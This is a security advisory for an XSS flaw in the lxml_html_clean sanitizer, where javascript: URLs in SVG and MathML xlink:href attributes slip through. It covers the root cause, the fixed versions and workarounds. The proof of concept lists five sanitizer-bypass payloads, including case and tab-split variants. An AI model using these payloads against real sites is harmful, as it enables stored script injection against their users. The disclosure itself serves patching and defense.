CVE-2026-49825: lxml_html_clean javascript: XSS via xlink:href
lxml_html_clean's HTML sanitizer silently passes javascript: URLs through to the browser when they appear in SVG or MathML anchor tags using the xlink:href attribute, letting attackers store…
The problem
The Cleaner class filters dangerous URL schemes by walking links via rewrite_links(), which in turn calls iterlinks(). That function only yields attributes whose name appears in lxml.html.defs.link_attrs, a flat string set that never included the literal xlink:href.
As a result, any SVG or MathML anchor carrying xlink:href="javascript:..." is completely invisible to the URL-scheme filter. The condition is triggered only when the caller sets safe_attrs_only=False, a documented option for applications that want to allow custom or vendor attributes while still relying on scheme scrubbing.
Stored XSS is the direct impact: the payload survives sanitization and executes in the victim's browser when the rendered link is clicked.
Proof of concept
A working proof-of-concept for CVE-2026-49825 in lxml_html_clean, with the exact payload below.
from lxml import html
from lxml_html_clean import Cleaner
payloads = [
'<svg><a xlink:href="javascript:alert(1)">x</a></svg>',
'<math><a xlink:href="javascript:alert(2)">y</a></math>',
# Encoding variants that also survive (same root cause)
'<svg><a xlink:href="JaVaScRiPt:alert(3)">x</a></svg>',
'<svg><a xlink:href="javascript:alert(4)">x</a></svg>',
'<svg><a xlink:href="java\tscript:alert(5)">x</a></svg>',
]
for p in payloads:
tree = html.fromstring(p)
Cleaner(safe_attrs_only=False)(tree)
out = html.tostring(tree).decode()
print(out) # payload passes through unchanged
print('iterlinks:', list(html.fromstring(p).iterlinks())) # []The root cause (CWE-184, Incomplete List of Disallowed Inputs) is a direct repeat of CVE-2021-28957, where formaction was missing from the same allow-list. Here, xlink:href is the missing entry: because iterlinks() never yields it, _remove_javascript_link is never called for it, and no scheme check runs.
The fix in lxml 6.1.1 added xlink:href to lxml.html.defs.link_attrs, making it visible to the link rewriter. The lxml_html_clean 0.4.5 release ships a parallel in-package fix that explicitly walks namespaced URL attributes inside Cleaner.__call__ and deletes any whose value matches a dangerous scheme regex, decoupling the cleaner from the upstream allow-list entirely.
The fix
Upgrade to lxml_html_clean >= 0.4.5 and lxml >= 6.1.1. Both packages received coordinated fixes. If you cannot upgrade immediately, avoid passing safe_attrs_only=False to Cleaner, or switch to nh3 (confirmed not vulnerable to this primitive). Install: pip install "lxml>=6.1.1" "lxml_html_clean>=0.4.5"
Reported by Guillem Lefait.
Related research
- high · 7.5GitPython: OS Command Injection via --template in clone_from
- high · 7.3CVE-2026-59214CVE-2026-59214: Open WebUI Stored Web-Worker XSS via Pyodide Same-Origin Code Execution
- highJupyterLab Image Viewer Stored XSS via Malicious SVG File
- high · 8.8GitPython: OS Command Injection via git long-option prefix abbreviation bypass